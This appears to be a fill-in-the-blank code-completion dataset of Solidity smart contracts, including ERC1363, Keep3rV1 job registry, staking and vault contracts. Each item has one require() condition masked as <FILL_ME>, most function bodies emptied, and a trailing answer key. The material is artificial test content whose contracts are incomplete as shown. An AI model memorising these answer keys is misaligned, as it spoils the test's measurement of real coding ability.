* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of an ERC1363 interface
*/
contract ERC1363 is ERC20, IERC1363 {
using Address for address;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
// Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector`
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
// Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector`
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
}
function transferAndCall(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool) {
require(<FILL_ME>)
require(_checkAndCallTransfer(from, to, value, data));
return true;
}
function approveAndCall(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool) {
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param from address Representing the previous owner of the given token value
* @param to address Target address that will receive the tokens
* @param value uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) {
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {
}
}
| transferFrom(from,to,value) | 30,321 | transferFrom(from,to,value) |
null | /**
* @title ERC1363
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of an ERC1363 interface
*/
contract ERC1363 is ERC20, IERC1363 {
using Address for address;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
// Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector`
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
// Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector`
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
}
function transferAndCall(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool) {
require(transferFrom(from, to, value));
require(<FILL_ME>)
return true;
}
function approveAndCall(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool) {
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param from address Representing the previous owner of the given token value
* @param to address Target address that will receive the tokens
* @param value uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) {
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {
}
}
| _checkAndCallTransfer(from,to,value,data) | 30,321 | _checkAndCallTransfer(from,to,value,data) |
null | /**
* @title ERC1363
* @author Vittorio Minacori (https://github.com/vittominacori)
* @dev Implementation of an ERC1363 interface
*/
contract ERC1363 is ERC20, IERC1363 {
using Address for address;
/*
* Note: the ERC-165 identifier for this interface is 0x4bbee2df.
* 0x4bbee2df ===
* bytes4(keccak256('transferAndCall(address,uint256)')) ^
* bytes4(keccak256('transferAndCall(address,uint256,bytes)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256)')) ^
* bytes4(keccak256('transferFromAndCall(address,address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_TRANSFER = 0x4bbee2df;
/*
* Note: the ERC-165 identifier for this interface is 0xfb9ec8ce.
* 0xfb9ec8ce ===
* bytes4(keccak256('approveAndCall(address,uint256)')) ^
* bytes4(keccak256('approveAndCall(address,uint256,bytes)'))
*/
bytes4 internal constant _INTERFACE_ID_ERC1363_APPROVE = 0xfb9ec8ce;
// Equals to `bytes4(keccak256("onTransferReceived(address,address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Receiver(0).onTransferReceived.selector`
bytes4 private constant _ERC1363_RECEIVED = 0x88a7ca5c;
// Equals to `bytes4(keccak256("onApprovalReceived(address,uint256,bytes)"))`
// which can be also obtained as `IERC1363Spender(0).onApprovalReceived.selector`
bytes4 private constant _ERC1363_APPROVED = 0x7b04a2d0;
constructor() public {
}
function transferAndCall(address to, uint256 value) public returns (bool) {
}
function transferAndCall(address to, uint256 value, bytes memory data) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint256 value) public returns (bool) {
}
function transferFromAndCall(address from, address to, uint256 value, bytes memory data) public returns (bool) {
}
function approveAndCall(address spender, uint256 value) public returns (bool) {
}
function approveAndCall(address spender, uint256 value, bytes memory data) public returns (bool) {
approve(spender, value);
require(<FILL_ME>)
return true;
}
/**
* @dev Internal function to invoke `onTransferReceived` on a target address
* The call is not executed if the target address is not a contract
* @param from address Representing the previous owner of the given token value
* @param to address Target address that will receive the tokens
* @param value uint256 The amount mount of tokens to be transferred
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallTransfer(address from, address to, uint256 value, bytes memory data) internal returns (bool) {
}
/**
* @dev Internal function to invoke `onApprovalReceived` on a target address
* The call is not executed if the target address is not a contract
* @param spender address The address which will spend the funds
* @param value uint256 The amount of tokens to be spent
* @param data bytes Optional data to send along with the call
* @return whether the call correctly returned the expected magic value
*/
function _checkAndCallApprove(address spender, uint256 value, bytes memory data) internal returns (bool) {
}
}
| _checkAndCallApprove(spender,value,data) | 30,321 | _checkAndCallApprove(spender,value,data) |
"Keep3rV1JobRegistry::add: no job" | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract Keep3rV1JobRegistry {
/// @notice governance address for the governance contract
address public governance;
address public pendingGovernance;
struct _job {
uint _id;
address _address;
string _name;
string _ipfs;
string _docs;
uint _added;
}
mapping(address => bool) public jobAdded;
mapping(address => _job) public jobData;
address[] public jobList;
constructor() public {
}
uint public length;
function jobs() external view returns (address[] memory) {
}
function job(address _address) external view returns (uint, address, string memory, string memory, string memory, uint) {
}
function set(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external {
require(msg.sender == governance, "Keep3rV1JobRegistry::add: !gov");
require(<FILL_ME>)
_job storage __job = jobData[_address];
__job._name = _name;
__job._ipfs = _ipfs;
__job._docs = _docs;
}
function add(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external {
}
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
}
}
| jobAdded[_address],"Keep3rV1JobRegistry::add: no job" | 30,387 | jobAdded[_address] |
"Keep3rV1JobRegistry::add: job exists" | // SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
contract Keep3rV1JobRegistry {
/// @notice governance address for the governance contract
address public governance;
address public pendingGovernance;
struct _job {
uint _id;
address _address;
string _name;
string _ipfs;
string _docs;
uint _added;
}
mapping(address => bool) public jobAdded;
mapping(address => _job) public jobData;
address[] public jobList;
constructor() public {
}
uint public length;
function jobs() external view returns (address[] memory) {
}
function job(address _address) external view returns (uint, address, string memory, string memory, string memory, uint) {
}
function set(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external {
}
function add(address _address, string calldata _name, string calldata _ipfs, string calldata _docs) external {
require(msg.sender == governance, "Keep3rV1JobRegistry::add: !gov");
require(<FILL_ME>)
jobAdded[_address] = true;
jobList.push(_address);
jobData[_address] = _job(length++, _address, _name, _ipfs, _docs, now);
}
/**
* @notice Allows governance to change governance (for future upgradability)
* @param _governance new governance address to set
*/
function setGovernance(address _governance) external {
}
/**
* @notice Allows pendingGovernance to accept their role as governance (protection pattern)
*/
function acceptGovernance() external {
}
}
| !jobAdded[_address],"Keep3rV1JobRegistry::add: job exists" | 30,387 | !jobAdded[_address] |
"You don't have the amount of tokens." | pragma solidity ^0.5.7;
contract Token {
mapping (address => uint256) public balanceOf;
function transfer(address _to, uint256 _value) public;
function transferFrom(address _from, address _to, uint256 _value) public;
function approve(address _spender, uint256 _value) public;
function approveContract(address _spender, uint256 _value) public;
function createTokens(address _user, uint _tokens) external;
}
contract Staking {
address owner;
address token;
bool iniziali = false;
uint256 public minimalToken = 100000000000000000000;
struct stakingStruct {
bool isExist;
bool status;
uint256 tokens;
uint256 profit;
uint start;
uint finish;
}
mapping(address => uint) public stakingCount;
mapping(address => mapping (uint => stakingStruct)) public stakings;
constructor() public {
}
modifier onlyOwner{
}
function setAddrToken(address _addr) external onlyOwner {
}
function calculate(address _user, uint _id) public view returns (uint256) {
}
function depositToken(uint256 amount) public {
require(amount >= minimalToken, "Please enter a valid amount of tokens.");
require(<FILL_ME>)
Token(token).approveContract(address(this), amount);
Token(token).transferFrom(msg.sender, address(this), amount);
stakingStruct memory staking_struct;
staking_struct = stakingStruct({
isExist: true,
status: true,
tokens: amount,
profit: 0,
start: now,
finish: 0
});
stakings[msg.sender][stakingCount[msg.sender]] = staking_struct;
stakingCount[msg.sender]++;
emit eventDeposit(msg.sender, amount, now);
}
function withdrawToken(uint _id) public {
}
event eventDeposit(address indexed _user, uint256 _tokens, uint256 _time);
event eventWithdraw(address indexed _user, uint indexed _id, uint256 _tokens, uint256 _profit, uint256 _time);
}
| Token(token).balanceOf(msg.sender)>=amount,"You don't have the amount of tokens." | 30,518 | Token(token).balanceOf(msg.sender)>=amount |
"Staking not exists." | pragma solidity ^0.5.7;
contract Token {
mapping (address => uint256) public balanceOf;
function transfer(address _to, uint256 _value) public;
function transferFrom(address _from, address _to, uint256 _value) public;
function approve(address _spender, uint256 _value) public;
function approveContract(address _spender, uint256 _value) public;
function createTokens(address _user, uint _tokens) external;
}
contract Staking {
address owner;
address token;
bool iniziali = false;
uint256 public minimalToken = 100000000000000000000;
struct stakingStruct {
bool isExist;
bool status;
uint256 tokens;
uint256 profit;
uint start;
uint finish;
}
mapping(address => uint) public stakingCount;
mapping(address => mapping (uint => stakingStruct)) public stakings;
constructor() public {
}
modifier onlyOwner{
}
function setAddrToken(address _addr) external onlyOwner {
}
function calculate(address _user, uint _id) public view returns (uint256) {
}
function depositToken(uint256 amount) public {
}
function withdrawToken(uint _id) public {
require(<FILL_ME>)
require(stakings[msg.sender][_id].status, "It was already withdrawn.");
uint256 _profit = calculate(msg.sender, _id);
require(_profit > 0, "The profit is wrong.");
Token(token).createTokens(msg.sender, (_profit/600));
Token(token).transfer(msg.sender, stakings[msg.sender][_id].tokens);
stakings[msg.sender][_id].status = false;
stakings[msg.sender][_id].profit = _profit;
stakings[msg.sender][_id].finish = now;
emit eventWithdraw(msg.sender, _id, stakings[msg.sender][_id].tokens, stakings[msg.sender][_id].profit, now);
}
event eventDeposit(address indexed _user, uint256 _tokens, uint256 _time);
event eventWithdraw(address indexed _user, uint indexed _id, uint256 _tokens, uint256 _profit, uint256 _time);
}
| stakings[msg.sender][_id].isExist,"Staking not exists." | 30,518 | stakings[msg.sender][_id].isExist |
"It was already withdrawn." | pragma solidity ^0.5.7;
contract Token {
mapping (address => uint256) public balanceOf;
function transfer(address _to, uint256 _value) public;
function transferFrom(address _from, address _to, uint256 _value) public;
function approve(address _spender, uint256 _value) public;
function approveContract(address _spender, uint256 _value) public;
function createTokens(address _user, uint _tokens) external;
}
contract Staking {
address owner;
address token;
bool iniziali = false;
uint256 public minimalToken = 100000000000000000000;
struct stakingStruct {
bool isExist;
bool status;
uint256 tokens;
uint256 profit;
uint start;
uint finish;
}
mapping(address => uint) public stakingCount;
mapping(address => mapping (uint => stakingStruct)) public stakings;
constructor() public {
}
modifier onlyOwner{
}
function setAddrToken(address _addr) external onlyOwner {
}
function calculate(address _user, uint _id) public view returns (uint256) {
}
function depositToken(uint256 amount) public {
}
function withdrawToken(uint _id) public {
require(stakings[msg.sender][_id].isExist, "Staking not exists.");
require(<FILL_ME>)
uint256 _profit = calculate(msg.sender, _id);
require(_profit > 0, "The profit is wrong.");
Token(token).createTokens(msg.sender, (_profit/600));
Token(token).transfer(msg.sender, stakings[msg.sender][_id].tokens);
stakings[msg.sender][_id].status = false;
stakings[msg.sender][_id].profit = _profit;
stakings[msg.sender][_id].finish = now;
emit eventWithdraw(msg.sender, _id, stakings[msg.sender][_id].tokens, stakings[msg.sender][_id].profit, now);
}
event eventDeposit(address indexed _user, uint256 _tokens, uint256 _time);
event eventWithdraw(address indexed _user, uint indexed _id, uint256 _tokens, uint256 _profit, uint256 _time);
}
| stakings[msg.sender][_id].status,"It was already withdrawn." | 30,518 | stakings[msg.sender][_id].status |
Error.POOL_NOT_PAUSED | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.9;
import "SafeERC20.sol";
import "Initializable.sol";
import "IERC20.sol";
import "ILiquidityPool.sol";
import "IVault.sol";
import "IVaultReserve.sol";
import "IController.sol";
import "IStrategy.sol";
import "ScaledMath.sol";
import "Errors.sol";
import "EnumerableExtensions.sol";
import "AddressProviderHelpers.sol";
import "VaultStorage.sol";
import "Preparable.sol";
import "IPausable.sol";
import "AdminUpgradeable.sol";
abstract contract Vault is IVault, AdminUpgradeable, VaultStorageV1, Preparable, Initializable {
using ScaledMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableExtensions for EnumerableSet.AddressSet;
using EnumerableMapping for EnumerableMapping.AddressToUintMap;
using EnumerableExtensions for EnumerableMapping.AddressToUintMap;
using AddressProviderHelpers for IAddressProvider;
bytes32 internal constant _STRATEGY_KEY = "Strategy";
bytes32 internal constant _PERFORMANCE_FEE_KEY = "PerformanceFee";
bytes32 internal constant _STRATEGIST_FEE_KEY = "StrategistFee";
bytes32 internal constant _DEBT_LIMIT_KEY = "DebtLimit";
bytes32 internal constant _TARGET_ALLOCATION_KEY = "TargetAllocation";
bytes32 internal constant _RESERVE_FEE_KEY = "ReserveFee";
bytes32 internal constant _BOUND_KEY = "Bound";
uint256 internal constant _INITIAL_RESERVE_FEE = DECIMAL_SCALE / 100;
uint256 internal constant _INITIAL_STRATEGIST_FEE = DECIMAL_SCALE / 10;
uint256 internal constant _INITIAL_PERFORMANCE_FEE = (DECIMAL_SCALE * 5) / 100;
uint256 public constant DECIMAL_SCALE = 1e18;
uint256 public constant MAX_PERFORMANCE_FEE = 0.5e18;
uint256 public constant MAX_DEVIATION_BOUND = 0.5e18;
uint256 public constant STRATEGY_DELAY = 5 days;
IController public immutable controller;
IVaultReserve public immutable reserve;
constructor(address _controller) {
}
function initialize(
address _pool,
uint256 _debtLimit,
uint256 _targetAllocation,
uint256 _bound
) external virtual override initializer {
}
/**
* @notice Handles deposits from the liquidity pool
*/
function deposit() external payable override onlyAdmin {
}
/**
* @notice Withdraws specified amount of underlying from vault.
* @dev If the specified amount exceeds idle funds, an amount of funds is withdrawn
* from the strategy such that it will achieve a target allocation for after the
* amount has been withdrawn.
* @param amount Amount to withdraw.
* @return `true` if successful.
*/
function withdraw(uint256 amount) external override onlyAdmin returns (bool) {
}
/**
* @notice Withdraws all funds from vault and strategy and transfer them to the pool.
*/
function withdrawAll() external override onlyAdmin {
}
/**
* @notice Withdraws specified amount of underlying from reserve to vault.
* @dev Withdraws from reserve will cause a spike in pool exchange rate.
* Pool deposits should be paused during this to prevent front running
* @param amount Amount to withdraw.
*/
function withdrawFromReserve(uint256 amount) external override onlyAdmin {
require(amount > 0, Error.INVALID_AMOUNT);
require(<FILL_ME>)
uint256 reserveBalance_ = _reserveBalance();
require(amount <= reserveBalance_, Error.INSUFFICIENT_BALANCE);
reserve.withdraw(getUnderlying(), amount);
}
/**
* @notice Activate the current strategy set for the vault.
* @return `true` if strategy has been activated
*/
function activateStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Deactivates a strategy.
* @return `true` if strategy has been deactivated
*/
function deactivateStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Initializes the vault's strategy.
* @dev Bypasses the time delay, but can only be called if strategy is not set already.
* @param strategy_ Address of the strategy.
* @return `true` if successful.
*/
function initializeStrategy(address strategy_) external override onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of the vault's strategy (with time delay enforced).
* @param newStrategy Address of the new strategy.
* @return `true` if successful.
*/
function prepareNewStrategy(address newStrategy) external onlyAdmin returns (bool) {
}
/**
* @notice Execute strategy update (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New strategy address.
*/
function executeNewStrategy() external returns (address) {
}
function resetNewStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of performance fee (with time delay enforced).
* @param newPerformanceFee New performance fee value.
* @return `true` if successful.
*/
function preparePerformanceFee(uint256 newPerformanceFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of performance fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New performance fee.
*/
function executePerformanceFee() external returns (uint256) {
}
function resetPerformanceFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of strategist fee (with time delay enforced).
* @param newStrategistFee New strategist fee value.
* @return `true` if successful.
*/
function prepareStrategistFee(uint256 newStrategistFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of strategist fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New strategist fee.
*/
function executeStrategistFee() external returns (uint256) {
}
function resetStrategistFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of debt limit (with time delay enforced).
* @param newDebtLimit New debt limit.
* @return `true` if successful.
*/
function prepareDebtLimit(uint256 newDebtLimit) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of debt limit (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New debt limit.
*/
function executeDebtLimit() external returns (uint256) {
}
function resetDebtLimit() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of target allocation (with time delay enforced).
* @param newTargetAllocation New target allocation.
* @return `true` if successful.
*/
function prepareTargetAllocation(uint256 newTargetAllocation)
external
onlyAdmin
returns (bool)
{
}
/**
* @notice Execute update of target allocation (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New target allocation.
*/
function executeTargetAllocation() external returns (uint256) {
}
function resetTargetAllocation() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of reserve fee (with time delay enforced).
* @param newReserveFee New reserve fee.
* @return `true` if successful.
*/
function prepareReserveFee(uint256 newReserveFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of reserve fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New reserve fee.
*/
function executeReserveFee() external returns (uint256) {
}
function resetReserveFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of deviation bound for strategy allocation (with time delay enforced).
* @param newBound New deviation bound for target allocation.
* @return `true` if successful.
*/
function prepareBound(uint256 newBound) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of deviation bound for strategy allocation (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New deviation bound.
*/
function executeBound() external returns (uint256) {
}
function resetBound() external onlyAdmin returns (bool) {
}
/**
* @notice Withdraws an amount of underlying from the strategy to the vault.
* @param amount Amount of underlying to withdraw.
* @return True if successful withdrawal.
*/
function withdrawFromStrategy(uint256 amount) external onlyAdmin returns (bool) {
}
function withdrawFromStrategyWaitingForRemoval(address strategy) external returns (uint256) {
}
function getStrategiesWaitingForRemoval() external view returns (address[] memory) {
}
/**
* @notice Computes the total underlying of the vault: idle funds + allocated funds - debt
* @return Total amount of underlying.
*/
function getTotalUnderlying() external view override returns (uint256) {
}
function getAllocatedToStrategyWaitingForRemoval(address strategy)
external
view
returns (uint256)
{
}
/**
* @notice Withdraws all funds from strategy to vault.
* @dev Harvests profits before withdrawing. Deactivates strategy after withdrawing.
* @return `true` if successful.
*/
function withdrawAllFromStrategy() public onlyAdmin returns (bool) {
}
/**
* @notice Harvest profits from the vault's strategy.
* @dev Harvesting adds profits to the vault's balance and deducts fees.
* No performance fees are charged on profit used to repay debt.
* @return `true` if successful.
*/
function harvest() public onlyAdmin returns (bool) {
}
/**
* @notice Returns the percentage of the performance fee that goes to the strategist.
*/
function getStrategistFee() public view returns (uint256) {
}
function getStrategy() public view override returns (IStrategy) {
}
/**
* @notice Returns the percentage of the performance fee which is allocated to the vault reserve
*/
function getReserveFee() public view returns (uint256) {
}
/**
* @notice Returns the fee charged on a strategy's generated profits.
* @dev The strategist is paid in LP tokens, while the remainder of the profit stays in the vault.
* Default performance fee is set to 5% of harvested profits.
*/
function getPerformanceFee() public view returns (uint256) {
}
/**
* @notice Returns the allowed symmetric bound for target allocation (e.g. +- 5%)
*/
function getBound() public view returns (uint256) {
}
/**
* @notice The target percentage of total underlying funds to be allocated towards a strategy.
* @dev this is to reduce gas costs. Withdrawals first come from idle funds and can therefore
* avoid unnecessary gas costs.
*/
function getTargetAllocation() public view returns (uint256) {
}
/**
* @notice The debt limit that the total debt of a strategy may not exceed.
*/
function getDebtLimit() public view returns (uint256) {
}
function getUnderlying() public view virtual override returns (address);
function _activateStrategy() internal returns (bool) {
}
function _handleExcessDebt(uint256 currentDebt) internal returns (uint256) {
}
function _handleExcessDebt() internal {
}
/**
* @notice Invest the underlying money in the vault after a deposit from the pool is made.
* @dev After each deposit, the vault checks whether it needs to rebalance underlying funds allocated to strategy.
* If no strategy is set then all deposited funds will be idle.
*/
function _deposit() internal {
}
function _shareProfit(uint256 profit) internal returns (uint256, uint256) {
}
function _shareFees(uint256 totalFeeAmount) internal returns (uint256) {
}
function _emergencyStop(uint256 underlyingReserves) internal {
}
/**
* @notice Deactivates a strategy. All positions of the strategy are exited.
* @return `true` if strategy has been deactivated
*/
function _deactivateStrategy() internal returns (bool) {
}
function _payStrategist(uint256 amount) internal {
}
function _payStrategist(uint256 amount, address strategist) internal virtual;
function _transfer(address to, uint256 amount) internal virtual;
function _depositToReserve(uint256 amount) internal virtual;
function _depositToTreasury(uint256 amount) internal virtual;
function _availableUnderlying() internal view virtual returns (uint256);
function _reserveBalance() internal view virtual returns (uint256);
function _computeNewAllocated(uint256 allocated, uint256 withdrawn)
internal
pure
returns (uint256)
{
}
function _checkFeesInvariant(uint256 reserveFee, uint256 strategistFee) internal pure {
}
function _rebalance(uint256 totalUnderlying, uint256 allocatedUnderlying)
private
returns (bool)
{
}
}
| IPausable(pool).isPaused(),Error.POOL_NOT_PAUSED | 30,638 | IPausable(pool).isPaused() |
Error.ADDRESS_ALREADY_SET | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity 0.8.9;
import "SafeERC20.sol";
import "Initializable.sol";
import "IERC20.sol";
import "ILiquidityPool.sol";
import "IVault.sol";
import "IVaultReserve.sol";
import "IController.sol";
import "IStrategy.sol";
import "ScaledMath.sol";
import "Errors.sol";
import "EnumerableExtensions.sol";
import "AddressProviderHelpers.sol";
import "VaultStorage.sol";
import "Preparable.sol";
import "IPausable.sol";
import "AdminUpgradeable.sol";
abstract contract Vault is IVault, AdminUpgradeable, VaultStorageV1, Preparable, Initializable {
using ScaledMath for uint256;
using SafeERC20 for IERC20;
using EnumerableSet for EnumerableSet.AddressSet;
using EnumerableExtensions for EnumerableSet.AddressSet;
using EnumerableMapping for EnumerableMapping.AddressToUintMap;
using EnumerableExtensions for EnumerableMapping.AddressToUintMap;
using AddressProviderHelpers for IAddressProvider;
bytes32 internal constant _STRATEGY_KEY = "Strategy";
bytes32 internal constant _PERFORMANCE_FEE_KEY = "PerformanceFee";
bytes32 internal constant _STRATEGIST_FEE_KEY = "StrategistFee";
bytes32 internal constant _DEBT_LIMIT_KEY = "DebtLimit";
bytes32 internal constant _TARGET_ALLOCATION_KEY = "TargetAllocation";
bytes32 internal constant _RESERVE_FEE_KEY = "ReserveFee";
bytes32 internal constant _BOUND_KEY = "Bound";
uint256 internal constant _INITIAL_RESERVE_FEE = DECIMAL_SCALE / 100;
uint256 internal constant _INITIAL_STRATEGIST_FEE = DECIMAL_SCALE / 10;
uint256 internal constant _INITIAL_PERFORMANCE_FEE = (DECIMAL_SCALE * 5) / 100;
uint256 public constant DECIMAL_SCALE = 1e18;
uint256 public constant MAX_PERFORMANCE_FEE = 0.5e18;
uint256 public constant MAX_DEVIATION_BOUND = 0.5e18;
uint256 public constant STRATEGY_DELAY = 5 days;
IController public immutable controller;
IVaultReserve public immutable reserve;
constructor(address _controller) {
}
function initialize(
address _pool,
uint256 _debtLimit,
uint256 _targetAllocation,
uint256 _bound
) external virtual override initializer {
}
/**
* @notice Handles deposits from the liquidity pool
*/
function deposit() external payable override onlyAdmin {
}
/**
* @notice Withdraws specified amount of underlying from vault.
* @dev If the specified amount exceeds idle funds, an amount of funds is withdrawn
* from the strategy such that it will achieve a target allocation for after the
* amount has been withdrawn.
* @param amount Amount to withdraw.
* @return `true` if successful.
*/
function withdraw(uint256 amount) external override onlyAdmin returns (bool) {
}
/**
* @notice Withdraws all funds from vault and strategy and transfer them to the pool.
*/
function withdrawAll() external override onlyAdmin {
}
/**
* @notice Withdraws specified amount of underlying from reserve to vault.
* @dev Withdraws from reserve will cause a spike in pool exchange rate.
* Pool deposits should be paused during this to prevent front running
* @param amount Amount to withdraw.
*/
function withdrawFromReserve(uint256 amount) external override onlyAdmin {
}
/**
* @notice Activate the current strategy set for the vault.
* @return `true` if strategy has been activated
*/
function activateStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Deactivates a strategy.
* @return `true` if strategy has been deactivated
*/
function deactivateStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Initializes the vault's strategy.
* @dev Bypasses the time delay, but can only be called if strategy is not set already.
* @param strategy_ Address of the strategy.
* @return `true` if successful.
*/
function initializeStrategy(address strategy_) external override onlyAdmin returns (bool) {
require(<FILL_ME>)
require(strategy_ != address(0), Error.ZERO_ADDRESS_NOT_ALLOWED);
_setConfig(_STRATEGY_KEY, strategy_);
_activateStrategy();
address strategist_ = IStrategy(strategy_).strategist();
require(strategist_ != address(0), Error.ZERO_ADDRESS_NOT_ALLOWED);
strategist = strategist_;
emit NewStrategist(strategist_);
return true;
}
/**
* @notice Prepare update of the vault's strategy (with time delay enforced).
* @param newStrategy Address of the new strategy.
* @return `true` if successful.
*/
function prepareNewStrategy(address newStrategy) external onlyAdmin returns (bool) {
}
/**
* @notice Execute strategy update (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New strategy address.
*/
function executeNewStrategy() external returns (address) {
}
function resetNewStrategy() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of performance fee (with time delay enforced).
* @param newPerformanceFee New performance fee value.
* @return `true` if successful.
*/
function preparePerformanceFee(uint256 newPerformanceFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of performance fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New performance fee.
*/
function executePerformanceFee() external returns (uint256) {
}
function resetPerformanceFee() external onlyAdmin returns (bool) {
}
/**
* @notice Prepare update of strategist fee (with time delay enforced).
* @param newStrategistFee New strategist fee value.
* @return `true` if successful.
*/
function prepareStrategistFee(uint256 newStrategistFee) external onlyAdmin returns (bool) {
}
/**
* @notice Execute update of strategist fee (with time delay enforced).
* @dev Needs to be called after the update was prepraed. Fails if called before time delay is met.
* @return New strategist fee.
*/
function executeStrategistFee() external returns (uint256) {
}
